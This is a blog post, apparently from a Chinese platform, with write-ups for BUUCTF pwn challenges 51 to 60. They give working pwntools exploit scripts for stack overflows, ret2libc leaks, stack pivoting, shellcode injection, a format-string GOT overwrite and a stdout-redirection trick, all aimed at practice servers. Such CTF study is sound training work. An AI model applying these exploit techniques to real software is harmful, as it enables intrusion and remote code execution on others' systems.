buuctf习题pwn(51~60)

第五十一题 mrctf2020_easyoverflow

checksec
在这里插入图片描述
ida
在这里插入图片描述
main函数作用:
将v5处内容设置为ju3t_@_f@k3_f1@g
在将v5[4]设置为0
之后v6、v7、v8、v9都设置为0
向v4输入不限制长度的内容
以v5(他是一个指向数组头部的指针)作为参数(以整数类型)调用check函数,if判断执行的是退出,之后是调取shell
所以我们的任务是使if判断为否不执行exit(0),即check返回值要为1
进入check函数
在这里插入图片描述
check函数作用:将fake_flag长度赋给v3,接下来进行循环对比a1与fake_flag是否相同,不同则退出循环
要使check返回1,那么就需要a1与fake_flag相同,也就是v5要与fake_flag相同,我们可以找到fake_flag为n0t_r3@11y_f1@g
在这里插入图片描述
在main函数中,gets函数给v4赋值,恰好v5在其下方,可以用将v5覆盖为n0t_r3@11y_f1@g
在这里插入图片描述
相差0x30
exp

from pwn import*
#io=process('./mrctf2020_easyoverflow')
io=remote('node5.buuoj.cn',28757)
payload=b'a'*0x30+b'n0t_r3@11y_f1@g'
io.sendline(payload)
io.interactive()

第五十二题 xdctf2015_pwn200

checksec
在这里插入图片描述
ida
在这里插入图片描述
vuln函数
在这里插入图片描述
有溢出
没有system和/bin/sh
并且是动态链接所以
在这里插入图片描述
ret2libc
利用write求基地址
exp

from pwn import*
from LibcSearcher import*
#io=process('./bof')
io=remote('node5.buuoj.cn',29849)
elf=ELF('./bof')
vuln_addr=0x080484D6
write_plt=elf.plt['write']
write_got=elf.got['write']
payload=b'a'*112+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b'Welcome to XDCTF2015~!\n')
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
#libc=LibcSearcher('write',write_addr)
libc=ELF('./libc-2.23.so')
base=write_addr-libc.sym['write']
system_addr=base+libc.sym['system']
str_bin_sh=base+next(libc.search(b'/bin/sh'))
payload=b'a'*112+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.sendline(payload)
io.interactive()

接收的时候注意,有\n的

第五十三题 ciscn_2019_s_4

checksec
在这里插入图片描述
ida
main函数
在这里插入图片描述
输入在vul函数
在这里插入图片描述
两次输入的大小刚好将s填满并余出4字节
有system函数但是没有/bin/sh
这和之前的一道题很像(一模一样)
这道题的做法是栈迁移
两次输入,一次用来泄露ebp的地址,一次拿shell
printf打印字符串时只有在遇到\0才会停止,利用这个特点,将字符串结尾的\0覆盖就可以打印出ebp的地址(ebp指向的地址也就是ebp中的内容)
第二次对栈进行布局,利用已知的ebp地址,计算出s的首地址,将栈填充成出栈顺序为
‘aaaa’-》system-》system_ret-》/bin/sh_addr-》‘/bin/sh’-》一些填充补齐到0x28-》s_addr-》leave_ret
exp

from pwn import*
#io=process('./ciscn_s_4')
io=remote('node5.buuoj.cn',28658)
system_addr=0x08048400
leave_ret_addr=0x080484b8
payload1=b'a'*0x27+b'b'
io.send(payload1)
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))
s_addr=ebp_addr-0x38
bin_sh_addr=s_addr+0x10
payload2=(b'a'*4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(s_addr)+p32(leave_ret_addr)
io.sendline(payload2)
io.interactive()

第五十四题 wustctf2020_closed

checksec
在这里插入图片描述
ida
main函数
在这里插入图片描述
vuln
在这里插入图片描述
程序执行了close(1)和close(2),又调用了shell函数
在这里插入图片描述
shell函数可以拿到shell
但是连接靶机之后是没有shell的
原因是close(1)和close(2)分别将标准输出和标准错误输出关闭了,也就是无论输入什么命令在终端上都不会有输出
这时候我们的解题思路是打开标准输出就能见到想要的东西了
对于0、1、2:在Linux中一切皆文件,为了方便管理文件
将打开的文件设置了索引(可以理解为一个指向这个文件的指针)
0代表表标注输入,1代表标准输出。2代表标准错误输出
这些并不是固定的,我们可以进行修改,就是wp中说的重定向
指令exec 1>文件名就可以将标准输出修改为指定的文件,也就是以后的输出都会显示在那个文件里
我们也可以用&文件标识符指代文件
本题就是用exec 1>&0来将标准输出改为当前文件(&0是当前文件的索引,1,2也是但是他俩被关闭了)
所以本题不需要写脚本,连接到靶机后输入指令就可以使用shell

第五十五题 ZJCTF 2019]Login

checksec
在这里插入图片描述
有nx,canary
ida
main函数
在这里插入图片描述
这是一道登录的题
账号应该是admin
密码在main中有看到2jctf_pa5sw0rd(猜的)
但是直接就这么输入拿不到shell
找到后门函数
在这里插入图片描述
但是有canary又没办法栈溢出
另寻他法
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()函数(最后调用的检查密码函数)中
在这里插入图片描述
其中一步(**a1)();将a1作为函数进行调用,尝试利用这里拿shell
这里需要a2和a3相等
这里不太会,算出来存储密码的地址和进行比对密码的起始地址相差0x20
存放2jctf_pa5sw0rd的地址为0x4011C8
password指向地址为0x4011A8

v9=0x401150

0x401170+8处存admin

0x401170+88=0x.c8处存2jctf_pa5sw0rd

password=v9+88=0x401150+88=0x4011A8

v5是用户输入到0x602160+88

但是我们在进行用户名和密码输入时候却能通过,这里不理解为啥
在这里插入图片描述
他是段错误(下面说的call eax,这个指令导致的),不是密码错误,所以比对密码是成功的,后面的获取shell也是建立在此之上的。
接下来说怎么写才能调用后门
看汇编
在这里插入图片描述

对应(**a)()的指令是call rax所以要将rax的值赋值为后门地址
接下来逆着流程来找rax的赋值的地方
在这里插入图片描述
rbp+var_68赋值给rax
往上找rbp+var_68
在这里插入图片描述
rbp+var_68是从rdi来的
再看rdi,这需要去主调函数看了,也就是main函数
在这里插入图片描述

rdi又是由rax赋值而来
在这里插入图片描述

rax是从rbp+var_130得来的
lea指令是将计算结果赋值到目的寄存器中
在这里插入图片描述
rbp+var_130的值来自rax,再进入上一步的函数里password_checker(void (*)(void))
在这里插入图片描述
rax来自rbp+var_18
在这里插入图片描述
追到这里就可以利用read_password函数覆盖了
因为两个函数的主调函数都是main,开出来的栈也是一样的
对于上一个函数中的rbp+var_18,在read_password中也是一样的
查看该函数栈
在这里插入图片描述
开始写入的地址是s,两者距离为0x60-0x18=0x48
所以输入时前面写数据跟着写后门
exp

from pwn import*
io=process('./login')
#io=remote('node5.buuoj.cn',27270)
shell_addr=0x400E88
payload=b'2jctf_pa5sw0rd'.ljust(0x48,b'\x00')+p64(shell_addr)
io.sendlineafter(b'Please enter username:',b'admin')
io.sendlineafter('Please enter password: ',payload)
io.interactive()

第五十六题 jarvisoj_level1

checksec
在这里插入图片描述
没开nx,可能是ret2shellcode
ida
main函数
在这里插入图片描述
func函数
在这里插入图片描述
打印了buf的地址
很显然是可以ret2shellcode的

from pwn import*
io=process('./level1')
shellcode=asm(shellcraft.sh())
io.recvuntil(b'0x')
buf_addr=int(io.recvuntil(b'?')[:-1],16)
payload=shellcode+b'a'*(0x8c-len(shellcode))+p32(buf_addr)
io.sendline(payload)
io.interactive()

本地是可以打通的,但是远程是打不通的
远程使用ret2libc的方法
exp

from pwn import*
from LibcSearcher import*

#io=process('./level1')
elf=ELF('./level1')
io=remote('node5.buuoj.cn',25693)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
#libc=LibcSearcher('write',write_addr)
libc=ELF('./libc-2.23.so')
base_addr=write_addr-libc.sym['write']
system_addr=base_addr+libc.sym['system']
str_bin_sh=base_addr+next(libc.search(b'/bin/sh'))
payload2=b'a'*0x8c+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
io.sendline(payload2)
io.interactive()

LibcSearcher好像又不能用了

第五十八题axb_2019_fmt32

checksec
在这里插入图片描述
ida
在这里插入图片描述
没有溢出点,但是有格式化字符串,看保护GOT表是可以修改的,所以泄露出printf的地址计算基址,求出system在程序中的地址,再将printf的got改为system的地址,之后输入/bin/sh即可获取shell
查看偏移
在这里插入图片描述
因为小端的缘故,第七个和第八个中有我们输入的,再多输入一个a对齐一下(对齐了啥不知)
在这里插入图片描述
所以偏移为8(相对谁的也不知)
exp

from pwn import*

context(os='linux',arch='i386',log_level='debug')

io=remote("node5.buuoj.cn","29530")
elf=ELF("./axb_2019_fmt32")
libc=ELF('./libc-2.23.so')

printf_got=elf.got['printf']

payload=b'a'+p32(printf_got)+b'22'+b'%8$s'
io.sendafter(b'me:',payload)
io.recvuntil(b"22")
printf_addr=u32(io.recv(4))
print ("printf_addr"+hex(printf_addr))

base_addr=printf_addr-libc.sym['printf']
system=base_addr+libc.sym['system']

print ("system_addr"+hex(system))

payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)

io.sendline(payload)

io.sendline(b';/bin/sh\x00')
io.interactive()

一个建议,不要只使用一个变量,如果后面有拼写错误,因为之前给变量赋值过所以不会报错,就不能知道自己有编写的错误,因为这个耽误了一天。

第六十题 picoctf_2018_shellcode

ret2shellcode
exp如下

from pwn import*
io=remote('node5.buuoj.cn',26153)
#io=process('./PicoCTF_2018_shellcode')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值